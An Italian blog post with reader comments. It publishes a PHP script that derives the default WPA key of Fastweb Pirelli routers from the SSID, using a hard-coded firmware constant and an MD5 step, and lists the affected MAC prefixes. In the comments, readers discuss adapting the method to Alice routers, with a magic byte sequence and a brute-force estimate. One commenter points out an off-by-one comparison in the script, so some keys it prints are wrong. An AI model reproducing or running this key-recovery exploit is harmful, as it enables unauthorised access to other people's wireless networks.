5
giu


Oggi mi sono inbattuto per caso in questo servizio, ovvero un servizio per “recuperare” la chiave WPA di un router Fastweb Pirelli.

“Bene” mi sono detto, “Se hanno questo servizio, avranno anche una pagina dove spiegano l’algoritmo e pubblicano il codice” .

Beh, la pagina c’era, e non era nemmeno un loro lavoro bensì quello di un altro gruppo (vedere il link “fonte” alla fine di quell’articolo), ma non c’era il sorgente!

In pratica, queste persone, hanno preso il lavoro che altri hanno pubblicato liberamente e per tutti, lo hanno ri-pubblicato (citando la fonte eh, per carità), ne hanno ricavato un servizio (guarda caso un servizio che fa gola a molti su un sito con degli ads pubblicitari) ma non hanno condiviso a loro volta le conoscenze distribuendo il codice del servizio … un po disonesto non vi pare?

Cioè, se io prendo un informazione libera, sono moralmente tenuto a rendere altrettanto libera qualsiasi opera io ne possa ricavare … non legalmente, ma moralmente.

Ebbene, ci penso io con un mio script fresco fresco :D

Vi posto qui di seguito il codice di uno script PHP che, seguendo quell’algoritmo, parte dal SSID di un router e stampa la chiave WPA di default.

Ribadisco, come loro, che :

Attualmente è possibile recuperare la chiave Wireless degli Access Point FastWeb Pirelli, nello specifico con i seguenti Mac Address:

00:08:27 Pirelli Broadband Solutions
00:13:C8
Pirelli Broadband Solutions
00:17:C2 Pirelli Broadband Solutions
00:19:3E P
irelli Broadband Solutions
00:1C:A2 Pirelli Broadband Solutions
00:1D:8B Pirelli Broadband Solutions
00:22:33 Pirelli Broadband Solutions
00:23:8E
Pirelli Broadband Solutions
00:25:53 Pirelli Broadband Solutions
00:03:6F Telsey S.p.A. (in fase di Test)
00:21:96 Telsey S.p.A.
(in fase di Test)

<?php
/***************************************************************************
 *   FastWeb Pirelli WPA Discovery                                         *
 *   by evilsocket - evilsocket@gmail.com - http://www.evilsocket.net      *
 *                                                                         *
 *   This program is free software; you can redistribute it and/or modify  *
 *   it under the terms of the GNU General Public License as published by  *
 *   the Free Software Foundation; either version 2 of the License, or     *
 *   (at your option) any later version.                                   *
 *                                                                         *
 *   This program is distributed in the hope that it will be useful,       *
 *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *
 *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *
 *   GNU General Public License for more details.                          *
 *                                                                         *
 *   You should have received a copy of the GNU General Public License     *
 *   along with this program; if not, write to the                         *
 *   Free Software Foundation, Inc.,                                       *
 *   59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.             *
 ***************************************************************************/


/*
 * SSID di partenza.
 */

$ssid   = "FASTWEB-1-00193EA1B2C3";
/*
 * 20 byte costanti cablati nel firmware dei Pirelli Fastweb.
 */

$seq_20 = "\x22\x33\x11\x34\x02\x81\xFA\x22\x11\x41\x68\x11\x12\x01\x05\x22\x71\x42\x10\x66";
/*
 * Prelevo la parte finale del SSID.
 */

$sn     = split( '-', $ssid );
$sn     = $sn[2];
/*
 * La divido in gruppi di due caratteri, formando un array
 * di 6 rappresentazioni esadecimali di byte.
 */

preg_match_all( "/[a-f0-9]{2}/i", $sn, $sn_bytes );
$sn_bytes = $sn_bytes[0];
/*
 * Inizializzo una stringa con il valore intero di questi byte.
 */

$str = "";
for( $i = 0; $i < 6; $i++ ){
    $str .= chr( hexdec( $sn_bytes[$i] ) );
}
/*
 * Aggiungo alla stringa i 20 byte "magici".
 */

$str .= $seq_20;
/*
 * Ricavo i byte dell'hash md5 della stringa
 */

preg_match_all( "/[a-f0-9]{2}/i", md5($str), $md5_bytes );
$md5_bytes = $md5_bytes[0];
$long      = "";
/*
 * Converto i byte in sequenze binarie di 8 bit.
 */

foreach( $md5_bytes as $byte ){
    $long .= sprintf( "%08s", decbin( hexdec($byte) ) );
}
/*
 * Divido in 5 gruppi di 5 bit ognuno e, qual'ora il valore intero
 * di un gruppo sia maggiore di 0x0a, aggiungo 0x57.
 */

$hex_5 = array();
for( $i = 0; $i < 25; $i += 5 ){
    $n       = bindec( substr( $long, $i, 5 ) );
    $hex_5[] = $n > 0x0a ? $n + 0x57 : $n;
}
/*
 * Compongo la chiave.
 */

$wpa = "";
foreach( $hex_5 as $hex ){
    $wpa .= sprintf( "%02x", $hex );
}

print "WPA : $wpa\n";

?>

Detto questo, a breve pubblicherò uno script analogo ma per i router Alice, dato che stanno uscendo lavori anche in questo senso ;)

Popularity: 73% [?]

Ti potrebbe interessare:

  1. Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi Come preannunciato nell’artcolo precedente sui router Fastweb, mi sono adoperato...
  2. Alice Router Unlocker Basandomi sul lavoro di saxdax e drpepperONE che potete trovare...
  3. Informazione di Servizio, Chiave Pubblica In questi giorni ho avuto la necessità di scambiare email...
  4. WEP Cracking Un paper nel quale illustro le tecniche e gli strumenti...
  5. Win32 Service Class Classe C++ che wrappa le API windows per l’installazione ed...
View Comments on Script per il calcolo della chiave WPA dei router FastWeb Pirelli.

Closed

  1. angelo scrive:

    ciao, scusa la domanda stupida ma nn essendo pratico di php potresti spiegarmi come eseguire lo script???grazie

  2. Mi hai fottuto l’idea evil, volevo fare un po’ di esercizio.
    Scherzo :D

    Cercherò di fare quello di alice, mi sembra sia uscito ;)

    E fra un po’ metto il tuo source sul mio blog come servizio insieme a quello di alice :D

    Complimenti evil ;)

    Ottimo lavoro.

  3. evilsocket scrive:

    Ahaha è stata abbastanza improvvisa la cosa :P
    Dai ti lascio alice, fammi sapere quando lo pubblichi così ricambio la pubblicizzazione sul blog ^^

  4. White Hat scrive:

    Avrei bisogno di parlarti.. contattami perfavore! Grazie..

  5. evilsocket scrive:

    Installi il PHP sul tuo computer e php dai php “nome-script.php”

  6. @evil:

    Purtroppo non posso ancora darmi da fare, non ce ancora una algoritmo valido per generare il Magic Number, spero che tu riesca a dare una mano a White Hat, purtroppo io non posso fornire i miei dati, poichè essendo in un paese di merda anche con una mini cantenna di reti trovo solo la mia
    -.-’

  7. evilsocket scrive:

    @Alessio Dalla Piazza

    Vediamo che si riesce a fare :)

  8. @evil:
    Comunque sia ora per le password, basterebbe un attacco brute force …

    Hash=SHA256(MagicN+SN+MAC)
    Il magic N da quanto ho capito è un numero tra 1 e 9 ed va inserito anche nel SN

    SN è composto da 5 numeri i primi 4 sono solitamente:
    6790X MagicN 12345678
    6910X MagicN 12345678

    Se per ogni X che va da 1 a 9 ci sono altri magic N che vanno da 1 a 9 si trova che per ogni per la serie 6790 ci sono 81 password da provare, più le altre 81 per i 6910.

    Oltre a questo ce il mac che da problemi che potrebbe essere ssid con un 2 o 1 davanti oppure il mac del router.
    Quindi le passsword da provare sarebbero:
    81+81( con il mac address orginario)
    81+81( con il mac address ssid + 1 davanti)
    81+81( con il mac address ssid con il 2 davanti)

    486 password da provare…

    Considerando che in media per connetterci ce un tempo che va diciamo per un periodo di un secondo o più, facciamo 2 in 486*2 secondi si sarebbero provate tutte queste password.
    Quindi in circa 16 minuti….

    Una volta trovate le password si potrebbe fare un confronto e capire la regola generale.

    Perdonami se ho detto qualche cazzata :D

  9. evilsocket scrive:

    No nessuna cazzata, però credo che ci voglia meno di 16 minuti, si può ottimizzare il processo di associazione all AP.

  10. tiresi@ scrive:

    Bravo evil !
    aggiungici pure il fatto che l’ha publicato con il suo nome su una rivista…

  11. evilsocket scrive:

    A siii? Questa mi mancava … che rivista?

  12. lufuscu scrive:

    scusatemi ma leggendo qua http://wifiresearchers.wordpress.com/ quello che dice Alessio è errato.
    il magicN è una sequenza nota : \x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8

    il sn non è composto da 5 numeri ma da 4 noti + X + 7 numeri ‘facilmente’ ricavabili con qualche operazione.

    Stavo buttando giù qualche riga in python, il problema è che vedendo dai commenti ci vuole il MAC address dell’ethernet e non del wifi (come diceva anche tiresi@)

  13. evilsocket scrive:

    @lufuscu

    Si infatti gli stavo spiegando un po la storia per email.

    Cmq ho quasi completato anche lo script PHP per Alice, a breve lo pubblico.

  14. lufuscu scrive:

    Ok attenderò..intanto continuo il mio :D

  15. evilsocket scrive:

    @lufuscu

    Pubblicato anche quello di alice :)

  16. Peppe scrive:

    Scusate, qualcosa non mi torna.
    Questo è un esempio tratto da wifiresearchers.wordpress.com.

    SSID: Alice-12345678
    MAC: 00:23:8E:01:02:03
    SN: 67902X0587411
    Non ho capito come si ottiene per hash questo risultato: b1d5d0dc8f3a2132d7872641250f998d53e58824ecb9118e046a943239bf1220

    Hash = sha256(MagicN+SN+MAC)= sha256(2+6790+00238E010203)= sha256(2679000238E010203) = 57a1dcd46295076a96e677ad1316fa5126d44862ae35619d9aa1db15b1da11df = risultato diverso

    Ho provato ad assegnare ad SN il valore “67902X0587411″ o anche “0587411″, “679020587411″.
    Ho provato a considerare MagicN come “67902″.

    Qualcuno potrebbe chiarirmi questo risultato o cmq mi può indicare i valori da assegnare a MagicN, SN e MAC?

    P.S.: Mi sono servito di una funzione SHA256 online

  17. evilsocket scrive:

    Il ssid è palesemente inventato con lo scopo di fare un esempio, quindi non troveresti riscontro nelle tabelle dello script comunque.
    Dovresti sostituire l’espressione :

    $SN = SSID2SN($SSID);

    Con

    $SN = “67902X0587411″;

    E runnare lo script (come ho fatto io per testarlo).

    Poi non garantisco che la SHA256 che tu abbia usato sia quella standard.

  18. evilsocket scrive:

    PS: Il magicN sono i caratteri del vettore ALIS, non so da dove tiri fuori quel “2+” tu XD

  19. Peppe scrive:

    Ops mi ha messo fuori strada alessio dalla piazza quando ha definito il MagicN un numero compreso fra 1 e 9 compreso nel seriale 67902X0587411. Nell’esempio era il 2

  20. evilsocket scrive:

    Eheh il fatto è che l’espressione “magic number” è un espressione generica che indica numeri dei quali si conosce il valore ma non il significato/la provenienza XD .

    Cmq ti chiedo il favore, se hai altri commenti da postare inerenti lo script per Alice, di postarli nell’articolo di ALICE, non qui su quello di fastweb, questo per non causare troppo caos.
    Grazie ^^

  21. pinco pallino scrive:

    ciao evil ho testato lo script su 3 reti di cui conosco i dati mi dà un risultato sbagliato su gli ultimi 2 caratteri di una di queste aspetto 61 invece dà 0a ho messo su hypaste il php cosi controlli meglio (che io ci capisco poco) in fondo sono solo un pinco pallino.
    Ps lo script alice mi dà fatal error:call undefined function mhash() in test.php on line 117 – (uso backtrack4 con comando: php test.php

  22. evilsocket scrive:

    Che sarebbe lo script che hai pastato ?
    Per mhash devi assicurarti che l’estensione relativa (vedi sulla documentazione) sia installata e caricata.

  23. pinco pallino scrive:

    ^_^ avrai capito che sono moolto noob, cmq lo script restituisce la stringa completa della wpa di cui i primi 10char sono la wpa fastweb.Ci tengo a precisare che non è farina del mio sacco, più di creare tabelle di conversione in excel .. per mhash mi sto vedendo la documentazione grazie lo stesso ciao

  24. evilsocket scrive:

    Eh ma cosa ci dovrei fare io con questo script?
    E in ogni caso, ti sei assicurato che il mac address delle reti che hai testato sia tra quelli supportati ?

  25. pinco pallino scrive:

    si sono funzionanti ho voluto provare il tuo script giusto per… 2 su 3 comunque son giuste

  26. evilsocket scrive:

    Mmmm potrebbe dipendere da mille mila fattori, cmq dai, 2 su 3 ci si può stare :)

  27. pinco pallino scrive:

    essendo uno script piccolino puo’ essere la conversione finale con il lo shift io porto 87 tu 57

  28. evilsocket scrive:

    Guarda che 0×57 (esadecimale) equivale ad 87 (in decimale) :)

  29. pinco pallino scrive:

    lo so ma mi sembravano tutte e 2 in esadecimale, comunque buona notte che non mi reggo piu’ ciao

  30. evilsocket scrive:

    Beh i numeri esadecimali hanno il prefisso 0x … nn so cm hai fatto a confonderti.
    Anyway, buona notte.

  31. Gentilissimi,
    permettetemi di rispondere alle vostre affermazioni!

    Il giorno 22/3/2010 pubblico sul mio BLOG (Over Securty) il primo articolo sugli sviluppi e sull’annuncio del ritrovamento dell’algoritmo FastWeb. Ero in possesso dell’algoritmo ma NON avendo certezza e sicurezza di chi fosse l’autore non ho volutamente pubblicato l’algoritmo ne ho nominato un presunto creatore.

    Il 24 e 25 Marzo vengo contattato dal White Hat Crew che mi informa che la ricerca è stata effettuata dal Wireless Security Researchers e pertanto provvedo a pubblicare i dettagli tecnici citando come fonte il loro BLOG.

    Conseguentemente pubblico WPA Recovery con lo scopo di rendere possibile il recupero di una chiave WPA smarrita.

    Andrea

  32. evilsocket scrive:

    Si ma con questo non dimostri niente se non quello che ho detto io.
    Hai pubblicato una ricerca della WHC citandoli, ne hai tratto un servizio web e NON hai pubblicato il codice di tale servizio … ho forse detto qualcosa di sbagliato?

  33. Evil,
    lo script non è stato reso noto esclusivamente per motivi legali.

    In Italia, purtroppo, viene imputato colpevole chiunque offra materiale tecnico/scientifico a fine criminoso nonostante vi sia un altro possibile fine del codice divulgato. Vedi il nostro…

    Stiamo lavorando con degli studi legali per poter capire cosa pubblicare o meno per evitare un oscuramento preventivo del nostro blog ed è anche per questo che la relase di WPA Recovery per Alice tarda ad arrivare.

    Prossimamente…

  34. pinco pallino scrive:

    rieccomi qua’ trovato l’errore era cosi’ fesso che passava inosservato per bene..allora si somma 57(hex) o 87(dec) con il valore >= 10(dec)
    quindi o si mette l’uguaglianza o si mette
    $hex_5[] = $n > 0×09 ? $n + 0×57 : $n;

    ciao

  35. [...] preannunciato nell’artcolo precedente sui router Fastweb, mi sono adoperato a studiare la brillante ricerca della WhiteHatCrew sui router [...]

  36. [...] Articoli orinali: Script per il calcolo della chiave WPA dei router FastWeb Pirelli. [...]

  37. [...] degli script per effettuare il WPA recovery, e per testare la sicurezza della propria rete Fastweb (visualizza lo script per fastweb) o Alice (visualizza lo script per [...]

blog comments powered by Disqus